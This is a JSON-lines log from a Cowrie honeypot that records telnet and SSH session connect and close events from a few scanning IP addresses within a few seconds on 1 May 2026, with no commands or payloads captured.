{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":35102,"dst_ip":"159.203.135.109","dst_port":23,"session":"dffb0ee6a431","protocol":"telnet","message":"New connection: 51.79.21.139:35102 (159.203.135.109:23) [session: dffb0ee6a431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:25.482483Z"}
{"eventid":"cowrie.session.closed","duration":30.794193506240845,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:25.490071Z","src_ip":"168.119.91.149","session":"7e463f0a6808","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":42578,"dst_ip":"159.203.135.109","dst_port":23,"session":"21d5d141dd28","protocol":"telnet","message":"New connection: 168.119.91.149:42578 (159.203.135.109:23) [session: 21d5d141dd28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:25.647872Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:25.695408Z","src_ip":"103.228.69.212","session":"149c04ed8565","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":42580,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2c6f740426e","protocol":"telnet","message":"New connection: 168.119.91.149:42580 (159.203.135.109:23) [session: f2c6f740426e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:25.724140Z"}
{"eventid":"cowrie.session.closed","duration":30.950398206710815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:26.012687Z","src_ip":"51.79.21.139","session":"d197dbeb721e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.722440004348755,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:26.053372Z","src_ip":"147.135.136.77","session":"b68223e7a0cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42878,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a1fe7d4738b","protocol":"telnet","message":"New connection: 147.135.136.77:42878 (159.203.135.109:23) [session: 4a1fe7d4738b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:26.284018Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":42582,"dst_ip":"159.203.135.109","dst_port":23,"session":"27c761a9d30e","protocol":"telnet","message":"New connection: 168.119.91.149:42582 (159.203.135.109:23) [session: 27c761a9d30e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:26.370978Z"}
{"eventid":"cowrie.session.closed","duration":30.759475231170654,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:26.475456Z","src_ip":"168.119.91.149","session":"77753c9f7bb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.948458909988403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:26.610321Z","src_ip":"168.119.91.149","session":"8659e55ac108","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04923725128174,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:27.037163Z","src_ip":"147.135.136.77","session":"fa3d6d35300a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":35118,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9039d01621a","protocol":"telnet","message":"New connection: 51.79.21.139:35118 (159.203.135.109:23) [session: a9039d01621a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:27.047117Z"}
{"eventid":"cowrie.session.closed","duration":31.017527103424072,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:27.067908Z","src_ip":"147.135.136.77","session":"017f0bd2ede7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.943048238754272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:27.071295Z","src_ip":"51.79.21.139","session":"9a78aa588a1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.263845682144165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:27.092247Z","src_ip":"147.135.136.77","session":"39ffefa7bcb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":38076,"dst_ip":"159.203.135.109","dst_port":23,"session":"df28cb883a08","protocol":"telnet","message":"New connection: 81.30.157.18:38076 (159.203.135.109:23) [session: df28cb883a08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:27.098068Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":42586,"dst_ip":"159.203.135.109","dst_port":23,"session":"600871672811","protocol":"telnet","message":"New connection: 168.119.91.149:42586 (159.203.135.109:23) [session: 600871672811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:27.189132Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34620,"dst_ip":"159.203.135.109","dst_port":23,"session":"e85a9799825f","protocol":"telnet","message":"New connection: 147.135.136.77:34620 (159.203.135.109:23) [session: e85a9799825f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:27.394876Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34596,"dst_ip":"159.203.135.109","dst_port":23,"session":"965d553df123","protocol":"telnet","message":"New connection: 147.135.136.77:34596 (159.203.135.109:23) [session: 965d553df123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:27.462566Z"}
{"eventid":"cowrie.session.closed","duration":30.589000940322876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:27.518737Z","src_ip":"168.119.91.149","session":"c2bf59c82b75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":35128,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e15805d4107","protocol":"telnet","message":"New connection: 51.79.21.139:35128 (159.203.135.109:23) [session: 3e15805d4107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:27.909909Z"}
{"eventid":"cowrie.session.closed","duration":30.747565507888794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:28.021797Z","src_ip":"51.79.21.139","session":"c8a1dc583988","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":35142,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe3e6ed4ab68","protocol":"telnet","message":"New connection: 51.79.21.139:35142 (159.203.135.109:23) [session: fe3e6ed4ab68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:28.110654Z"}
{"eventid":"cowrie.session.closed","duration":30.753390312194824,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:28.172291Z","src_ip":"147.135.136.77","session":"26060c097976","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34602,"dst_ip":"159.203.135.109","dst_port":23,"session":"aabe70310ec5","protocol":"telnet","message":"New connection: 147.135.136.77:34602 (159.203.135.109:23) [session: aabe70310ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:28.229527Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":35188,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc609c252952","protocol":"telnet","message":"New connection: 51.79.21.139:35188 (159.203.135.109:23) [session: fc609c252952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:28.349522Z"}
{"eventid":"cowrie.session.closed","duration":30.75048518180847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:28.530119Z","src_ip":"168.119.91.149","session":"6d9c0789f1eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.274698734283447,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:28.592566Z","src_ip":"168.119.91.149","session":"fcf5352735fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":49928,"dst_ip":"159.203.135.109","dst_port":23,"session":"5764e9dc3648","protocol":"telnet","message":"New connection: 37.187.24.227:49928 (159.203.135.109:23) [session: 5764e9dc3648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:28.731894Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":35224,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc0e252432c9","protocol":"telnet","message":"New connection: 51.79.21.139:35224 (159.203.135.109:23) [session: cc0e252432c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:28.792359Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":42626,"dst_ip":"159.203.135.109","dst_port":23,"session":"815c8518f53e","protocol":"telnet","message":"New connection: 168.119.91.149:42626 (159.203.135.109:23) [session: 815c8518f53e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:28.852267Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":35246,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5ab5bb9ad59","protocol":"telnet","message":"New connection: 51.79.21.139:35246 (159.203.135.109:23) [session: c5ab5bb9ad59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:29.014693Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":42668,"dst_ip":"159.203.135.109","dst_port":23,"session":"3490bf5ebbea","protocol":"telnet","message":"New connection: 168.119.91.149:42668 (159.203.135.109:23) [session: 3490bf5ebbea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:29.076416Z"}
{"eventid":"cowrie.session.closed","duration":30.35981321334839,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:29.081545Z","src_ip":"147.135.136.77","session":"e541a991ea28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.401270866394043,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:29.198764Z","src_ip":"81.30.157.18","session":"e07804729c42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34636,"dst_ip":"159.203.135.109","dst_port":23,"session":"25098ca495c1","protocol":"telnet","message":"New connection: 147.135.136.77:34636 (159.203.135.109:23) [session: 25098ca495c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:29.219126Z"}
{"eventid":"cowrie.session.closed","duration":31.08283758163452,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:29.278705Z","src_ip":"147.135.136.77","session":"4144b38c1986","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":38120,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7f4b6249aa3","protocol":"telnet","message":"New connection: 81.30.157.18:38120 (159.203.135.109:23) [session: e7f4b6249aa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:29.304679Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":35596,"dst_ip":"159.203.135.109","dst_port":23,"session":"d61be87fbb3b","protocol":"telnet","message":"New connection: 168.119.91.149:35596 (159.203.135.109:23) [session: d61be87fbb3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:29.408832Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34680,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ce8e48486cc","protocol":"telnet","message":"New connection: 147.135.136.77:34680 (159.203.135.109:23) [session: 6ce8e48486cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:29.611983Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":35606,"dst_ip":"159.203.135.109","dst_port":23,"session":"b594e448f0ac","protocol":"telnet","message":"New connection: 168.119.91.149:35606 (159.203.135.109:23) [session: b594e448f0ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:29.676693Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":35610,"dst_ip":"159.203.135.109","dst_port":23,"session":"be3f363a0875","protocol":"telnet","message":"New connection: 168.119.91.149:35610 (159.203.135.109:23) [session: be3f363a0875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:29.858143Z"}
{"eventid":"cowrie.session.closed","duration":30.96466612815857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:30.017950Z","src_ip":"51.79.21.139","session":"97d4d0a29fa4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7277889251709,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:30.026892Z","src_ip":"51.79.21.139","session":"50989891ad71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10097599029541,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:30.109385Z","src_ip":"51.79.21.139","session":"62b616a684bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.27586579322815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:30.115069Z","src_ip":"81.30.157.18","session":"0431f599b587","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":35270,"dst_ip":"159.203.135.109","dst_port":23,"session":"62bf3b035a6e","protocol":"telnet","message":"New connection: 51.79.21.139:35270 (159.203.135.109:23) [session: 62bf3b035a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:30.150021Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34688,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b8e2eac27d7","protocol":"telnet","message":"New connection: 147.135.136.77:34688 (159.203.135.109:23) [session: 0b8e2eac27d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:30.248211Z"}
{"eventid":"cowrie.session.closed","duration":31.102691650390625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:30.363941Z","src_ip":"37.187.24.227","session":"bfbac43b65ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34706,"dst_ip":"159.203.135.109","dst_port":23,"session":"d051756e8b9b","protocol":"telnet","message":"New connection: 147.135.136.77:34706 (159.203.135.109:23) [session: d051756e8b9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:30.445093Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":35352,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3a7078da40b","protocol":"telnet","message":"New connection: 51.79.21.139:35352 (159.203.135.109:23) [session: e3a7078da40b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:30.867017Z"}
{"eventid":"cowrie.session.closed","duration":30.223471879959106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:31.077892Z","src_ip":"147.135.136.77","session":"61e4a93d36b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34778,"dst_ip":"159.203.135.109","dst_port":23,"session":"49e0bb42e523","protocol":"telnet","message":"New connection: 147.135.136.77:34778 (159.203.135.109:23) [session: 49e0bb42e523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:31.088479Z"}
{"eventid":"cowrie.session.closed","duration":30.893980741500854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:31.098247Z","src_ip":"147.135.136.77","session":"9fb0f62de959","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":35354,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ab9b02bf370","protocol":"telnet","message":"New connection: 51.79.21.139:35354 (159.203.135.109:23) [session: 5ab9b02bf370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:31.106883Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":35674,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecac454d8efe","protocol":"telnet","message":"New connection: 168.119.91.149:35674 (159.203.135.109:23) [session: ecac454d8efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:31.347622Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":35368,"dst_ip":"159.203.135.109","dst_port":23,"session":"292978b3f9d0","protocol":"telnet","message":"New connection: 51.79.21.139:35368 (159.203.135.109:23) [session: 292978b3f9d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:31.492578Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":38142,"dst_ip":"159.203.135.109","dst_port":23,"session":"be12a64680ad","protocol":"telnet","message":"New connection: 81.30.157.18:38142 (159.203.135.109:23) [session: be12a64680ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:31.562369Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":35382,"dst_ip":"159.203.135.109","dst_port":23,"session":"1391777f7e7f","protocol":"telnet","message":"New connection: 51.79.21.139:35382 (159.203.135.109:23) [session: 1391777f7e7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:31.810444Z"}
{"eventid":"cowrie.session.closed","duration":30.92106795310974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:32.014316Z","src_ip":"51.79.21.139","session":"b9700425a48f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.619855403900146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:32.038226Z","src_ip":"147.135.136.77","session":"5d229f9968b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63452434539795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:32.107713Z","src_ip":"81.30.157.18","session":"0296c9f454d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.894434452056885,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:32.126909Z","src_ip":"147.135.136.77","session":"8bf42a70c8dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34788,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d2adca0bab7","protocol":"telnet","message":"New connection: 147.135.136.77:34788 (159.203.135.109:23) [session: 0d2adca0bab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:32.133665Z"}
{"eventid":"cowrie.session.closed","duration":30.24259042739868,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:32.158702Z","src_ip":"147.135.136.77","session":"2eaf31f36daa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34822,"dst_ip":"159.203.135.109","dst_port":23,"session":"c672269ba8ba","protocol":"telnet","message":"New connection: 147.135.136.77:34822 (159.203.135.109:23) [session: c672269ba8ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:32.297956Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34794,"dst_ip":"159.203.135.109","dst_port":23,"session":"abc9fe295965","protocol":"telnet","message":"New connection: 147.135.136.77:34794 (159.203.135.109:23) [session: abc9fe295965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:32.386870Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":35392,"dst_ip":"159.203.135.109","dst_port":23,"session":"835c86adce0b","protocol":"telnet","message":"New connection: 51.79.21.139:35392 (159.203.135.109:23) [session: 835c86adce0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:32.438020Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34832,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b8e18649905","protocol":"telnet","message":"New connection: 147.135.136.77:34832 (159.203.135.109:23) [session: 4b8e18649905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:32.523657Z"}
{"eventid":"cowrie.session.closed","duration":30.78786826133728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:32.675730Z","src_ip":"168.119.91.149","session":"bc2b825bf585","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57443928718567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:32.741184Z","src_ip":"168.119.91.149","session":"5ebf9a38fd7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34808,"dst_ip":"159.203.135.109","dst_port":23,"session":"d17b47a616fd","protocol":"telnet","message":"New connection: 147.135.136.77:34808 (159.203.135.109:23) [session: d17b47a616fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:32.873509Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":35400,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf1527449a9e","protocol":"telnet","message":"New connection: 51.79.21.139:35400 (159.203.135.109:23) [session: bf1527449a9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:33.039075Z"}
{"eventid":"cowrie.session.closed","duration":30.569950819015503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:33.066367Z","src_ip":"147.135.136.77","session":"26f90f26eaf3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.993974447250366,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:33.069754Z","src_ip":"51.79.21.139","session":"915a05bb121e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.950966358184814,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:33.073002Z","src_ip":"51.79.21.139","session":"df973e7fdfec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.834683179855347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:33.079950Z","src_ip":"147.135.136.77","session":"d0dbfdd45890","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6354558467865,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:33.083231Z","src_ip":"147.135.136.77","session":"aae8bb6519a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":36298,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c270a9efa4d","protocol":"telnet","message":"New connection: 51.79.21.139:36298 (159.203.135.109:23) [session: 7c270a9efa4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:33.208135Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":36328,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf6df3acc12f","protocol":"telnet","message":"New connection: 51.79.21.139:36328 (159.203.135.109:23) [session: bf6df3acc12f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:33.277014Z"}
